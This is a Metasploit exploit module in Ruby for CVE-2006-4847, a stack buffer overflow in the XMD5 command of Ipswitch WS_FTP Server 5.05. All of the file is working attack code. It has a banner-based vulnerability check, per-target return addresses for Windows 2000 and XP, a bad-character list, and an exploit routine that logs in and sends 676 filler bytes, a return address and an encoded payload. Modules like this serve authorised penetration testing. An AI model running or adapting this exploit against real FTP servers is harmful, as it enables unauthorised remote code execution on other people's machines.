Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = AverageRanking

        include Msf::Exploit::Remote::Ftp

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'Ipswitch WS_FTP Server 5.05 XMD5 Overflow',

                        'Description'    => %q{

                                        This module exploits a buffer overflow in the XMD5 verb in

                                IPSWITCH WS_FTP Server 5.05.

                        },

                        'Author'         => 'MC',

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2006-4847' ],

                                        [ 'OSVDB', '28939' ],

                                        [ 'BID', '20076' ],

                                ],

                        'Privileged'     => false,

                        'Payload'        =>

                                {

                                        'Space'    => 300,

                                        'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",

                                        'StackAdjustment' => -3500,

                                },

                        'Platform' => 'win',

                        'Targets'        =>

                                [

                                        [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663 } ],

                                        [ 'Windows XP Pro SP0 English',   { 'Ret' => 0x77dc0df0 } ],

                                        [ 'Windows XP Pro SP1 English',   { 'Ret' => 0x77dc5527 } ],

                                ],

                        'DisclosureDate' => 'Sep 14 2006',

                        'DefaultTarget' => 0))

        end

        def check

                connect

                disconnect

                if (banner =~ /WS_FTP Server 5.0.5/)

                        return Exploit::CheckCode::Vulnerable

                end

                return Exploit::CheckCode::Safe

        end

        def exploit

                connect_login

                print_status("Trying target #{target.name}...")

                sploit =  rand_text_alphanumeric(676, payload_badchars)

                sploit << [target.ret].pack('V') + payload.encoded

                send_cmd( ['XMD5', sploit] , false)

                handler

                disconnect

        end

end